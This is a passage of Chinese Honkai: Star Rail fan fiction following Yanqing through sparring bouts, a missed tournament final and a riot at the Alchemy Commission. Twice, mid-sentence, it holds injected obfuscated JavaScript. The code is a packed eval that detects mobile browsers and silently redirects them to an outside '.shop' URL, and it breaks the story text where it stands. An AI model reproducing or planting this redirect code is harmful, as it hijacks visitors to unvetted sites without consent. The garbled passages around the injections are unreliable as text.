你的世界会被重塑,巡猎的标准已经不再适合你,你需要凭借自己的意志判断敌人或朋友,走出不常有人走的、只属于你的路。但这不代表你不能活下去。 年长者一刻不停地说,像是以后就没机会说了。 “没有什么应该做,即使是我告诉过你的,即将告诉你的,也只是我希望。” 他将长命锁重新挂上孩子外袍心口处,因着那对翅膀,衣服已经不合身了。 “我希望你活着。” 我希望你活过今年,活下一年、十年、百年,百年又百年,长长久久健健康康地活着。 总有人希望你活下来,很多人希望你活下来。活下来,然后去往星海吧。 我走了,在那个将军的阵刀挥过来之前。 “你还是可以找我哦。” 我站在树缝中笑笑,没等来他任何反应。 那孩子沉默着起身,伸手一把拉开了货箱的推拉门,天光重新落在他身上,翅膀缓缓展开,洁白的羽翼如同缀了碎金般闪亮。 7. 【剑首传奇01】玄冲|演武 离星天演武开场,还有两天。 小队清扫完迴星港的孽物,已是薄暮时分。玄冲站在散开的云骑中间,看罗浮模拟出的日暮昏黄照在那少年身上——他正在看自己的剑,神情专注,身周光晕柔和,显得很好说话。 这份“好说话”鼓励到他,又或者他迟早都要这样问出口,总之他问了: “彦卿骁卫,可以和我比试吗?” 被问到的少年抬头还有些愣,却是爽快答应了,抽出刚收回的剑,起手式向他示意。 周遭云骑有些回去,有些好奇想看看,于是也留了几个人在现场,自行退开围成圈,空出中间一大块地方。 他败得很快。彦卿骁卫的战斗思路比他灵活——他刺出的第一剑被轻易接住,剑架着剑,试图以力压制;彦卿却腾出另一只手,反手一剑鞘敲上他手腕关节,手腕一麻剑就脱手了。如此简单的技巧,却因着速度太快容不得反应,落到战场便是一个“死”字。 他呆呆看着落地声铿锵的自己的剑,听见彦卿问他:“还来吗?” 来。他回神点头,再次冲过去。 彦卿骁卫的力量也比他大——他这一剑发狠自上而下劈出,彦卿半步没退就接住了,不止没退,还眼神发亮架着剑往前进了一步,猛地发力持剑往外撇,他的剑被拨开,力道震得小臂都在发麻,尽管这一回没有掉剑,但中门大开,回过神时对方剑已指在自己胸膛了。 “还来吗?”彦卿收回剑问他。 来。 如是重新挑战数回,新认识到的:彦卿骁卫的观察力很强,运剑以轻快见长,还有那传闻中的尚未展示出来的御剑术……他每次都败得很快,对观众来说也没什么好看的,等他累得趴地不起时,已是夜晚,回星港的灯尽数亮起,周围除了彦卿已经没有别人了。 “……就,不来了吧?”彦卿提议的语气有些讪讪,他趴在地上喘气,一边觉得好笑,像是自己作为主动邀战的一方被一个孩子欺负了似的。就坐起,朝正紧张看着他的少年点头。 彦卿舒一口气,又问他:“那我们一起回去?” “我想一个人呆一会儿。”他没什么力气了,说话的语气有些干涩。 彦卿听了这话不知道想到什么,恍然大悟,低头左右翻找自己口袋,翻出一个东西递过来,他低头看: 美味快餐棒。战地美食之一,便于携带,深受驻军战士青睐。 玄冲原本郁闷的心情因着这东西变得难以言喻,抬头看看人,又低头看看快餐棒,欲言又止: “骁卫大人……” 你怎么出任务还带零嘴儿的啊? 他话没说全,但彦卿看明白了他的意思,眼珠子不好意思地左右转,边小声给自己辩解:“我饿得快……我还在长身体嘛!” 原本是不好意思,说到后面反而理直气壮起来:本来也没有规定说日常任务不能带食物,他带的也都是符合战场规定的东西……就是带得有点多。 玄冲沉默,抬头看:已知此时彦卿站着,他坐着,彦卿比他高两个头,求他站起来时比彦卿高多少…… 他笑出声:啊,对,确实还是个小孩子呢。 事实上,他并不是因为体力不支才不想起来,只是心思纷乱,想要一个人待着整理一下。不过因为彦卿骁卫的存在,独处注定是奢想了。 “一定要在这里想吗?夜间孽物去而复返怎么办?你现在都没力气了。”负责任的骁卫大人脸上尽是不赞同。 回家之后兴许就没心情想了;我只是打不过你,打一打罗浮上的鱼啊狗啊大猩猩啊还是绰绰有余的。 这些话没机会说出口,因为彦卿看他不想走,就推着他就近找了楼梯上了货箱顶,货箱垒了几层,位置高了视野也开阔,用彦卿的话说就是“不走也行,至少站在高处,方便看清孽物的动向”。 现在没有孽物,只有迴星港星星点点的灯火,抬头便是罗浮拟造的星空。彦卿骁卫放下剑,盘腿坐在他旁边吃东西,腮帮子一鼓一鼓的,像个普通人家的孩子,而非那个诸多名头加身、惹人惦记嫉恨的天才。 他回想自己的事,回想自己看到那份日记时的感受。那个人是如何描述彦卿的呢? [听闻神策府中有一名御剑天分极高的侍卫,假以时日,也许连他也不是我的对手!](注1) 玄冲只知晓那个人后来加入了药王秘传,一步步走上不归路,却不知道他还有过这样的想法。他挑战过彦卿吗?在神策府的侍卫手上受了挫,所以干脆自暴自弃? 现在那个人死了,上次见面甚至是在几年前,若是不找彦卿挑战,玄冲也不知道自己还能做什么了。 为了那个人的遗愿,为了体会那个人的心情?不,这关彦卿什么事呢?他突然觉得自己站在这里很可笑。 他想着,思路混乱,话说得很慢:“彦卿骁卫,我有一个朋友……” “嗯。”彦卿应得很快,忙着咀嚼声音含糊。 “小时候,他就住我家隔壁,后来我们都加入了云骑军,我学剑,他学枪,他很有天分,很有上进心……”会翻墙过来找他玩,一边嘲笑他一边给他讲解学黉先生留的习题,也会在对练时一枪把他掀翻又拉他站起来…… 很优秀的人,他亦步亦趋跟着,跟了许多年,联系渐少后眼见着那个人走得越来越快、越来越远,他那时什么都不知道,还很为对方高兴。 “唔,后来呢?”少年人不知道他在想什么,自个儿吃得高兴,不忘捧场搭腔。 后来啊—— [……相熟的丹士送了我一味丹药……](注1) 玄冲低头,少年正抬着稚嫩的脸看他,嘴里东西还没吃完,看他不接话就低头又咬了两口,嘴巴塞得鼓鼓的,鼓起一张包子脸,天真得令人羡慕。 有天资,有上进心,和面前的少年一样。玄冲沉默着想:或许彦卿骁卫以为能听到这人之后立了什么功,升了十卫长百卫长的励志故事。但是没有,有的只是一个人在偏执的胜心与长年累月的嫉妒中扭曲变形,最终成为怪物的故事。 “他加入了药王秘传。” 彦卿咀嚼的动作一停,不待他更多反应,玄冲就接着说: “我在药王秘传的证物里看到他的日记,他想要挑战您,或许已经挑战过了。” “我想要体会他的心情,剑技又实在粗疏,即使报名星天演武,也未必能与您对上,因此今日才贸然请求。” “啊……” 美味快餐棒吃起来有烤肉、蜂蜜、糖果的味道。彦卿刚才吃得高兴,现在却尝不出来,三口两口吃完,不知道该说什么: “……呃,对不起?” 整个罗浮他败过的人一只手都数得过来,在碰到那三个超纲题之前,不论是同袍切磋还是战场厮杀,彦卿都是真正的从无败绩,如今玄冲这么说,他一时完全想不起来那个可能挑战过他的朋友是什么样子,因此觉得抱歉。 但这其实没必要。玄冲摇摇头,说起自己在战斗中体会到的: “您的剑技十分精湛。我如今两百余岁,想要追上您,或许还要再耗费两百年时间——追上十四岁的您。” “而您两百岁时会有何种光彩,我简直难以想象。”那是他做梦都不敢想的天赋,于是话说出口时,语气崇敬又悲伤。 按照那个人的理论,以御剑出名的彦卿骁卫该是狐人才更合理,可他是仙舟人,才十四岁。如果那个人真的和彦卿战斗过,大概会因高若云泥的差距彻底癫狂吧。 彦卿沉默。他过去对自己的聊天能力很有自信,现在却不敢这么说。他想自己或许该说谢谢,又直觉感到对面需要的不是谢谢。于是他憋半天,换了一个话题: “……你会参加星天演武吗?” “会。”玄冲抱着剑点头,伸手拉彦卿起来,一起走上返程。 如果是那个人,或许不会,他能接受必输的结局,那个人却无法接受,嫉妒的火焰早就将那个人由心到身焚烧殆尽了。 离星天演武开场,还有一天。 彦卿骁卫一大早来训练场,先是完成自己那恐怖的训练量,休息一会儿又精神满满开始找人对练,有人打趣喊他“未来剑首”,少年人就红着脸咳两声,说“不可如此”之类的。 玄冲松一口气,看来昨天说的那些没有影响到人家。 他解决掉自己一桩心事,整个人进入贤者时间,没怎么练剑,午休时跑去别的队里找游山。 游山是那个人的师弟,也是那个人嫉恨了十几年的假想敌。 游山六十余岁,持明族,身高才到正常成人胸口,看着和彦卿骁卫差不多大。药王秘传的证物搜集整理后,一部分会用作宣传,提醒仙舟居民警惕类似情况。 那天他站在宣传栏前看那个人的日记,旁边有人也在安安静静看,正是游山。 [我自认自己所下的功夫不逊于任何人……可我没办法打败游山。] [即使再给我几百年的生命,我也无法超越基因的沟壑,变得比游山更强。] [他已被提拔为十卫长了,师父说,他会推荐游山接任教习的职务。游山这厮想必很得意,他看到我的时候总是虚伪执礼口称师兄……] “你知道他这么想吗?”他问了这么一句。 “知道一点,”游山沉默一会儿,回了他,“可我没想到他会加入药王秘传。” 宣传栏再往下,便是那人欣喜若狂的笔迹——因为服用药物打倒了心心念念的假想敌,却不知道自己正在靠近深渊。 两人在宣传板前一起站了会儿,就这么认识了。 他午休时间过来时,游山没有休息,在练枪,玄冲没学过枪术,但不妨碍他觉得对方的枪舞得很好。 “不是舞枪,”嚣张的小子直接舞到他脸上来,枪尖几乎指到他眼睛又稳稳收回去,枪比自己脑袋还高,持枪哼笑道,“是云骑枪术,前辈。” 还挺爱显摆。玄冲哭笑不得,招呼他来坐下。 “我昨日和彦卿骁卫交过手了。” 他们都看过莳者日记里那句对彦卿的挑战宣言,游山很快反应过来:“那位骁卫怎么样?很厉害吗?” “很厉害,比你还厉害,而且才十四岁。” “别激我,我又不是师兄,”游山翻了个大白眼,低头敛眸,又睁眼,“我不想喊他师兄了。” 这是你的自由。 就像他保留当年的滤镜,惦记竹马之交的情谊,总想要再为那个人做点什么一样,也是他的自由。 只是在亲身体会到如同天堑一般的差距时,他也难免迷茫:“游山,你说,我们习武是为了什么呢?” “为了仙舟?族群、家人?为了自己也行……”游山声音闷闷的,“反正不是为了把别人比下去。” 星天演武正式开场。 整体采用两两对决、败者淘汰制,持续时间相当长。 连着一个月的时间,玄冲都能看见使用不同兵器的云骑热火朝天地讨论:这一场对局的什么招式用得好,那一场所用兵器是出自哪座仙舟的工造司,下一场对局是谁和谁、谁的胜算更大……除此之外就是练习再练习,他也难得热血上头,跟着对练了好一段时间。 到今日,玄冲在后半段出局,离决赛只有十场了,他感叹自己的剑术倒也没有想象中那么差,就听得裁判叫到彦卿的名字,低头望去,燕子似的少年早就在候场区跃跃欲试,听到自己名字一个翻身就上了台,向对手行礼。 没有悬念。玄冲有滤镜,毕竟其他人只听过彦卿的名声,自己可是真正和他对练过的。依他所见,彦卿可以提前锁定剑首的位置了。咳咳,还是不能夸大。 对,不能夸大。彦卿给他整了个大活。 “演武仪典最后一场,骁卫厉嚣,对阵,骁卫彦卿!” 裁判高声宣布后,全场气氛沸腾起来。最后一场,意味着本场的胜者就是最后的胜者——剑首!云骑军剑术最高者的殊荣,无数剑士心之所向。 然而,时间过去,演武场只上来一个人。 “你是厉嚣?” 场上人杵着大剑懒洋洋点头。 “骁卫彦卿?”裁判疑惑的声音成倍放大,“骁卫彦卿何在?” 演武场外围。 玄冲在疯跑,和部分云骑一起四散开来寻人。刚才在场内,他想起来看时,原本还在候场区的彦卿就已经不见了。 跑哪儿去了? 彦卿不至于在最后关头无故乱跑,到底是什么事情……演武仪典允许迟到的时间是一刻钟,必须在那之前找回来。 找了一会儿没找到,他撑着墙,思考自己为什么要找彦卿。 他和彦卿好像也不是很熟……彦卿骁卫很耐心跟他对练,听他讲话,出于好意希望对方成为剑首,确实说得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332672|199178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去。 可事实似乎不是这样。他觉得彦卿有天赋,天资高得可怕,天才就应该站在那个位置……天生的东西等于一切。 这样不是和“他”一样了吗? 玄冲惊觉自己在长时间的思考里魔怔了,捂住脸猛搓两下,带着纷乱的心思拐过一个转角,就看到了:蹲着的彦卿,和被剑钉在墙上的魔阴身,丝丝寒气萦绕剑身,少年蹲在旁边百无聊赖,不甘心地看向演武场方向,正好看见他。 不待反应。 那双金色眼睛“唰”一下就亮了:“帮帮忙!” “你快去!” 两句几乎同时说出,彦卿迅速抽出另一把剑御剑飞往演武场,流光远去了,他蹲到魔阴身旁边,瞬间理清发生了什么事。 一位将堕魔阴却还保持着一定意识的云骑前辈。或许是前辈感觉到自己快要发作,跑出来寻找站岗云骑顺便远离人群,而彦卿在演武场看到,不假思索就跟了出来,正撞上对方发作,一番缠斗之下制服,守在对方身边。 偏偏这么巧,他乍舌。 彦卿不杀死对方而只是封住行动的做法,他也能理解:仙舟人迟早都要入魔阴的,将堕魔阴和已堕魔阴,自然有不同的处理方法,倘若云骑将入魔阴的人不分程度都视作孽物一并斩去,不仅暴戾,也是在藐视十王司的权威。 那柄剑在他眼前,从肩胛骨穿过将人钉在墙上,那位半堕魔阴的前辈行动受制,犹自瞪着红眼不停挣扎,身上冒出的银杏叶因为动作簌簌掉落,嘴里发出怪物一般的嘶吼。 他又想起那个人了。药王秘传的证物里有“龙蟠虬跃”的配方,下书小字: [用药后周身剧痛、骨骼作异响、视力听力下降,皆属正常情况。] [能安然度此劫者,必能禅机早悟,永登仙道。] 所以那个人,即便在日记里将痛楚描述得那样详细,痛到恨不得昏过去以逃避,却因将其理解为“成百上千年的对□□的锤炼凝结到几小时内”,咬牙忍下来了。 而龙蟠虬跃的原理,是使用活取的持明髓,将持明血脉中的龙祖力量转移到其他生物体内,以一种更加[可控]的方式诱发魔阴身。以为是自己在变强,事实却是堕魔了。 云骑前辈稍微清醒了些,看看肩上的剑,出声询问他两句,他思路被打乱,回报情况。前辈对他和彦卿表示感谢,又昏睡过去。玄冲听见他的梦呓,是在喊“母亲”。 这位前辈他认识,已经六百余岁,母亲或许已不在世;若还在世,也会为他难过的吧。 他想象那个人堕魔阴时会喊什么,母亲? 大概不是,日记最后是满纸的“药王慈怀”“同登仙道”,那个人已经不具备正常人的感情和思考能力,或许喊不出母亲了。 人和怪物的区别或许就在这儿。 他想,在魔阴的威胁下,仙舟人千载不懈追求的,似乎只是“像个人一样地活”“像个人一样地死”这两件事。 制度、战争……习武,他还记得那个人通过初狩仪式,从云骑武库中挑选出兵器时,非常高兴,回来对他炫耀了好久。 我们习武是为了什么。 如果拿这个问题问彦卿骁卫,他会怎么答呢? 他想起刚才:彦卿骁卫就坐在这里,巴巴望着演武场方向,如果他没来,大概会一直不肯走,待到半堕魔阴身的人得到妥帖接引才走,那时演武早就结束了。 可结束又怎么样? 处理魔阴身比演武重要? 处理魔阴身当然比演武重要! 他豁然开朗。 没等多久,彦卿求援叫的云骑和判官便赶到现场,人偶判官低头看看冰冻的痕迹和入魔阴身的人,转头眼神认真,吐出无感情的赞许:“汝做得很好。” “不是我。” 他在判官疑惑的目光里摇摇头,看向演武场方向,因为想开了高兴,却又忍不住为彦卿忧心。 演武场上,厉嚣老老实实等了一刻钟,直到裁判举起他手臂宣布他不战而胜时才“啧”了一声。全场哗然: “就这啊……” “第二名也不错啦……” “怎么有人决赛都不来呢?” “临阵脱逃,非大丈夫也!” 无人预料到这样的结果,此时台下议论纷纷,内容尽是那位号称“罗浮最强剑士”的彦卿的去向,听到裁判宣布就象征性鼓鼓掌,掌声稀稀落落。 厉嚣本没多在意掌声,但这情况还是感觉有被嘲讽到,转头就下了台,听得后面裁判在报他的名字,说他是这一届的罗浮剑首;听得将军为演武作最后的致辞,宣布演武结束;听得观众起身往外走;听得呼啸而至的飞剑破空声…… 他仰头,一弧绚丽的粉紫色流光正飞过所有人头顶,速度快到像能看见空气被割开的形状,视线一路跟随,就看见御剑人最后跟个小炮弹似的“轰”一下砸在正中间,瞬间吸引所有人的目光。 烟尘散去,里面冒出来一个被风吹得狂放不羁的金脑壳,少年人因为超高速御剑脸色煞白,好像下一秒就要在台上“yue”出来。 看着怪弱的。 “骁卫彦卿,”将军还在高台上,低头说话时隐有笑意,“迟到了。” “哦。”少年短促回了个音,好像还没反应过来。 “演武结束了。”像是嫌不够打击人,将军又重复一遍。 “哦……”隔得很远,他看不清自己原本的对手是什么表情,只之后一句听着像是相当无所谓:“那就下届再来!” 唔。厉嚣收回拔剑的手,他倒是不介意现在来一场,只是瞧将军那话,似乎没得商量。 玄冲把剑送还给彦卿时,迫不及待想要分享自己方才的顿悟:天资是一方面,责任心是一方面,上进心和嫉恨心完全是两种心情…… 却又被告知彦卿因着几秒钟错失这届演武,一时不知道该不该说。 少年从他手中接过剑,看起来倒是很正常,还问了他几句那位堕魔阴的前辈的事。 应该……没什么事?玄冲不确定地想。 “没关系,演武又不止一届,”少年人看起来依然信心满满,“下届彦卿可不会这样冒失了!” 嗯嗯。名利并不是多重要的东西,魔阴身才是大家面对着的最重要的问题。他想明白了,很高兴彦卿也能想明白。 想明白了吧,大概? 8. 【剑首传奇02】厉嚣|振翅 彦卿自闭了。 虽然在对手和观众面前表现得洒脱又帅气,但景元瞧着自家小孩那个飘忽的眼神和步伐,一眼就能看个明白。 他停下等因为受到打击移速缓慢的小孩,有点好笑地提醒:“骁卫大人,炸毛了。” 是刚才飞太猛被风吹的。彦卿听到,缓慢伸手,自己随便薅两把,呆毛蔫了吧唧地垂在脑袋上,像极了主人此刻的心情。 看来一时半会儿好不了。 景元哭笑不得,看孩子回家之后就进了房间,锁在里面物理自闭,说不上要多长时间才肯出来。 剑首是彦卿从小立下的目标,彦卿也是演武前所有人眼中最有希望夺魁的人…… 小孩子的世界总是界限分明:做得到和做不到,没做到和做到了,一次失误轻易就能让他将自己划到线以下。安慰对手的话说得再帅气,自己又如何在短时间内释怀呢? 虽说如此,景元倒也不担心。 习剑对于彦卿来说,像是吃饭喝水一样自然。作为剑士,剑于他无异于手臂的延伸,即使习惯真气御剑了,彦卿也更喜欢宝贝剑拿在手里的感觉。 他回到房间里就开始护理剑器,到今日那柄刺穿那位云骑前辈肩膀的剑时,还是没忍住情绪,攥紧剑柄,又放下。 剑身雪亮,没留下一点痕迹。身堕魔阴的人,那具看似完好的身躯里有多少是血肉也未可知,彦卿想起魔阴身,便想起金黄的银杏叶。 不管是成为剑首之前还是之后,他都是云骑; 云骑首要的责任就是“卫蔽仙舟”,自然也包括仙舟上的居民; 当时前辈需要人制住才行,只有他注意到情况,追出去也无可厚非; 迟到取消资格是规则里注明的。 所以…… “不可惜,不可惜。”彦卿低低念叨两句,就接着护理自己的宝贝剑。今日用的那把剑被他放到门口,等他什么时候想出门了,再带上吧。 演武上午结束,彦卿在房间里宅了一个下午,迷迷糊糊趴桌上睡着了,直到敲门的声音把他吵醒。 将军一般不会吵他啊…… 彦卿揉着眼睛挪到门口,开门后一脸懵逼:你谁? 门外是一个大汉,一身凶悍气被云骑制服压下一点,又被身后那把大剑抬起来,表情……很臭,苦大仇深到彦卿不自觉回想自己是不是买剑拖欠同僚的巡镝,仔细想一番,觉得没有,而且自己不认识这个云骑。 对面说话了:“彦卿骁卫……” 嗯嗯。他还困着。 “你欠我一场比试。” 什么时候的事?彦卿打个哈欠,想不起来,但星天演武这一个月里他跟好多人约过比试,就当是自己忘了……刚准备跟对方说明天再比,对方手一抄,跟卷铺盖似的一手臂把他“捞”起来了。 捞起来了。 啊? 彦卿双脚离地,正看到将军站在院子里看他,笑得竟然很有幸灾乐祸那味儿。 他脑子还没反应过来,就见这位同僚另一手再抓起他放墙边的那柄剑,堂而皇之地跨过门槛出去了。 等等等等! 彦卿终于醒了,猛地挣扎:你该不会打算就这么上街去吧!这姿势什么究极社死啊!死的还只有我一个! 厉嚣来找彦卿的原因很简单。上午那会儿还在比赛场地没什么感觉,但下午的风言风语简直要把他整个人淹过去。 “厉嚣是很厉害,但感觉还是比不过彦卿骁卫。” “彦卿骁卫迟到了啊,这也是没办法的事……” “听说是为了处理魔阴身才迟到的,只差几秒就能赶上了,而且还是自己亲徒弟,将军也不网开一面……” “因为是徒弟更加不能徇私了吧。” “这有什么好吵的?不守时就是不守时,几秒钟在战场足够发生很多变数了!反正我不放心小孩子领兵。” 吵来吵去,占大流的总是那句: “厉嚣也就算个第二名吧。” 二二二,二你大爷二!厉嚣烦得不行,越想越忍不下这口气,他也是剑士,原本就遗憾没能和彦卿比上一场,现下不过是因为这些流言提前了。 如果他能打过彦卿,正好堵住那些家伙的嘴;如果他打不过,不管剑首称号能不能还回去,至少他自己心服口服,省得像现在这样心烦。 本来就是因为你迟到才会这样的,要负起责任来! 这股子烦在彦卿挣开他手臂、站在地上抬头瞪他时消失无踪。他光明正大地打量对方两圈,看看自己,又再看回去: 呃,好矮哦。 厉嚣有些心虚地摸摸鼻子,开始给对面的矮个子解释,只是带了相当多且明显的引导意味: “今日你若是准时到了,我们就有一场比斗。” “但是你没到,所以我们没比。” “所以!”由此可得: “你是不是欠我一场比试?” 不知道是不是他把自己说得太惨了,小矮子皱着眉头思考一阵,居然没觉得哪里不对,爽快应了:“确是彦卿思虑不周,对不住这位同僚。” 他这垃圾话术,居然也能忽悠住人? 厉嚣瞪大眼睛,哈哈一笑:“好小子,准备好接招吧!” 于是。 罗浮的天好黑,星星好亮,云不会动呢哈哈哈…… 真是一场酣畅淋漓的……败局啊! 这一局耗的时间很长,彦卿的招式又快,又亮瞎人眼,晃得他头晕眼花。彦卿也没力气了,扶着墙半跪,手里还攥着剑,不过总归是比他仰躺着、自信心被打击到一点不剩好得多。 很强,才十四。 “你好厉害。” “你也是啊。” “你看,你都打得过我了,干脆剑首这头衔送给你得了。”互夸没有带来安慰,厉嚣觉得心酸,但没表现出来,等自己气喘匀了,就这样提议。 彦卿果不其然拒绝:“不合规矩。” “不合规矩咋啦,我比你弱欸,”他的自信心已经受到严重损伤,开始发癫胡言乱语,“万一我当剑首在战场上死了,你今日的推拒要负连带责任的!” 彦卿气到了,一下坐起:“!!道德绑架啊你!” 当天晚上,彦卿一觉睡得不安稳,还做了梦,梦里没有自己错过比试的遗憾,只有一把大剑无人操使自动出招,一招一式虎虎生风,他甚至能感受到大剑砍过来时掀起的锐意,彦卿说不清自己是什么视角,似乎是避开了那一击,拔剑斩向对面的人…… 对面的人? 一张大叔脸突兀出现在大剑后,嗓门惊人: “彦卿!来切磋!” ……彦卿被吓醒了。 什么东西啊! 他洗漱完往外走,正见着将军坐在院子里晒太阳。演武昨日才结束,最近仙舟上下都在忙演武,与之相对的就是主要公文都去了军务厅。将军难得清闲,随手找了个蒲团,坐在一地银杏叶里,又看向对面无人的棋盘,似乎在思忖这盘棋该怎么下。 彦卿也乐得见将军清闲,当即凑过来坐下,顺手拿了块点心吃。 “彦卿——来切磋——” 有人在外面喊。彦卿瞬间回想起那个梦,一口点心哽在喉咙口,努力咽下去又咳了两声。 “哎,骁卫大人好忙哦——”将军边开玩笑,顺手倒了杯茶。 彦卿有苦说不出,接过茶牛嚼牡丹式一口闷,抓起剑就跑,声音渐远:“将军,彦卿出去了!” 景元笑笑,重新看回那盘棋。 彦卿的苦,大概就在于厉嚣自那一回后频繁邀他比斗。虽说切磋剑术本身很有乐趣,他和厉嚣频繁在人前比斗还能顺带破除那些流言,彦卿很高兴能帮上忙。但是…… 大剑带着灼热的温度直朝面部袭来,彦卿闪身避开,回身看墙上深深嵌进去的痕迹咂舌,三把剑听他招引,自三个方向快速刺向对方! 厉嚣偏好大开大合地攻击,而彦卿的优势更多在速度上,所以通常也会避开;只是避久了他自己也烦,跃跃欲试想要硬抗,这般打法又相当耗力气。再加上厉嚣用火,他用冰,每次这么打完一场,身上湿热像从水里爬出来一样,简直就是灾难。 两个人只能躺在比斗场上,等罗浮的冷风把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332673|199178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们晾干,这么一段趟地时间就经常用来互飙垃圾话,比如: “我四百岁了,你十四,快叫爷爷。” “不。” 再比如: “那些家伙又嘲讽我‘第二名’,哎哟我这脆弱的小心脏啊……” “你都让我管你叫爷爷了,干嘛不让他们叫你二大爷?” “……难道你真的是个天才?” 好微妙的感觉:“……你是在夸我吗?” 还有: “上次的话是认真的,我没你厉害,上战场很容易死的。” “‘云骑上阵,不论生死’,你没听过这句?”彦卿艰难地翻个白眼,“你叫爹,我就管你生死。” “?这话你跟谁学的,我可记得大家都夸彦卿骁卫是个懂礼貌的好孩子!” 小天才没学,只是擅长举一反三:“这跟礼貌不相干,真要说礼貌,你应该先尊老爱幼啊!” “那你还让我叫你爹?‘老’和‘幼’都要占是吧!” “没!错!”彦卿理直气壮。 一直到某天切磋完,同样是垃圾话时间,厉嚣突发奇想,猛地坐起,兴致勃勃提议:“你要不要去参加曜青的演武仪典?” 曜青的? 彦卿也坐起,面露疑惑:“他们不是年前就在打了吗?”罗浮就是等着去曜青的支援部队返程后才召开演武的,准备还耗了一段时间,而曜青似乎回仙舟后第二天就风风火火开始演武了……到现在都还没打完? 厉嚣不以为意:“曜青尚武,久一点正常啊。” “反正离罗浮下届演武还有那么久呢,你去那边看看不正好,曜青一直有编外流动部队,申请调个档案轻轻松松的事,你在那边多呆几年都没问题!” 曜青,大捷。 战无不胜的大捷仙舟。 彦卿有些意动。 “曜青?” 对对!彦卿点完头,又试探着抬头。 将军注意到了,依然是笑着,低头看他:“想去啊?” 小燕子继续巴巴点头,举手起誓:“彦卿只是去看,绝不动手。”罗浮上已没有他的对手,在素来以武闻名的曜青,会不会有更强的剑士呢? 只是他尚未取得罗浮的剑首之名,在罗浮输就算了,若是在外面也输,岂不是丢将军的脸?但是、但是!他又实在很想试试,他是剑士,剑士不与人切磋如何进步…… “你纵是参加了,我也不会说什么。”将军一眼便看穿他的德性,当下笑意更深,“去曜青看完了,就回罗浮?” 呃……孩子露出点为难的表情:“彦卿,还想去朱明修剑。” 原来如此。景元想起前些时日岁阳作祟时断掉的那把剑,虽说折剑以明志也算少年的浪漫,但那把剑与彦卿神识相连,制式功能一一按彦卿的需要来定制,又陪伴他好几年。如今想起来……在罗浮居然修不好?小孩怕不是心疼了好些天,还忍到现在了。 去朱明修剑。 嗯,你去。景元拿着棋子,似乎在思考下一步该走哪,嘴上边说:“朱明以工造技术出名,偶尔会有作品展会,你看看能不能等到,大概会出现很多尚未投放使用的新式兵器模型……”落子。 哇——彦卿心驰神往。 “方壶的古海也很不错,他们那里持明比较多,云骑的职责也是护珠人在做,持明水生,因着水压,大多臂力超群,枪术精湛。” 哦——彦卿蠢蠢欲动。 “曜青有一条白珩街,挺热闹的,游客也多。那里的赤狐戏园平戎戏是一大特色,强调打斗,你说不定会感兴趣……” 景元说到这里,抬头失笑:莫说棋盘上了,自家小孩的心思早就飘去了十万八千里,听得他没出声了才回过神来: “啊、啊?”少年人有点尴尬,飞快正色坐好,后知后觉地有点气,“将军,彦卿不是出去玩的!” 是是是。景元笑眯眼点头:玩一玩而已,有什么关系嘛。 “既如此,就准备准备,去长乐天摘星社登记吧。” 为什么是旅游社? “彦卿真的不是出去玩的!” 9. 【彦卿白露cb】晴转多云转晴 ?? 白露从诊室内出来时正是下午。 轮值医士换了一班,她对新换来的医士交代: “注意观察他们的伤势,有魔阴迹象的即刻通知我……我如果没有来,就报请其他医士。” 大战后,各个地方来就诊的伤患只增不减,再加上丹鼎司内部被抓走的叛徒众多,如今人手严重不足。白露恨不得自己和医士们都有分身术,如此一来,哪里要担心什么“分身乏术”嘛。 不过这种事情,想也知道不可能,人是需要休息的,长生种也一样。 医士点头应是,白露就往门口一坐,等着侍女来接。正是下午,丹鼎司一如既往阴云压顶,拟造出的夕阳没多大力,只给云层染了个色,弱光懒懒照在白墙上,看着很有些迟暮意味。 侍女等来了,是云悠。 她立时高兴招招手,干练的女子冲她温和笑笑,蹲下小心抱起她。 “白露大人,我们回去吧。” “好!”她今天不逃家,“正好我也困了。” 这原本是大战后白露普通的一天。 “唯烬灭可救仙舟祓除寿瘟!” 还没出丹鼎司,就看见一群人挥舞着乱七八糟的工具冲上来,在丹鼎司外围涂鸦。 烬灭?白露没听明白。 云悠却皱着眉,她既是龙尊侍女,也是丹鼎司的医士,当即便上前呵斥: “不管你们信仰什么,又听了什么闲话,休要在丹鼎司门口撒野!” 气势唬人得紧,一时对面竟面面相觑,直接噤声。却有声音从人群中突兀冒出: “丹鼎司的都是叛徒!” 霎时群情激愤: “丹鼎司怎么了?都是叛徒!叛徒大本营!” “叛徒大本营!” “就是你们让仙舟不得安宁!” 白露气坏了:以往到现在都是丹鼎司帮大家看病,如今因为人手不足伤患又太多,司部内人人忙得脚不沾地,连口水都来不及喝。 有本事对着剩下的还在救人的医士撒气,怎么不去幽囚狱对那些被抓起来的嚎呢! 她下地,一把挡住云悠,抬头怒视,对面有一瞬间冷静。 “是龙女欸,”白露的名声很响,人群议论纷纷,“龙女应该是好的吧。” 又是一道突兀的声音: “龙女定是被丹鼎司的人要挟了!” 情绪瞬间又被煽动起来。 “龙女大人平日逃家,定是被关起来了!” “救出龙女!” “救出龙女!” 我逃家也成你们乱来的理由了?!就让你看看这葫芦里……! 白露想去捞自己的葫芦,被云悠重新抱起。 丹鼎司有云骑驻守,手中持械的云骑赶到现场时,人群情绪彻底爆发。 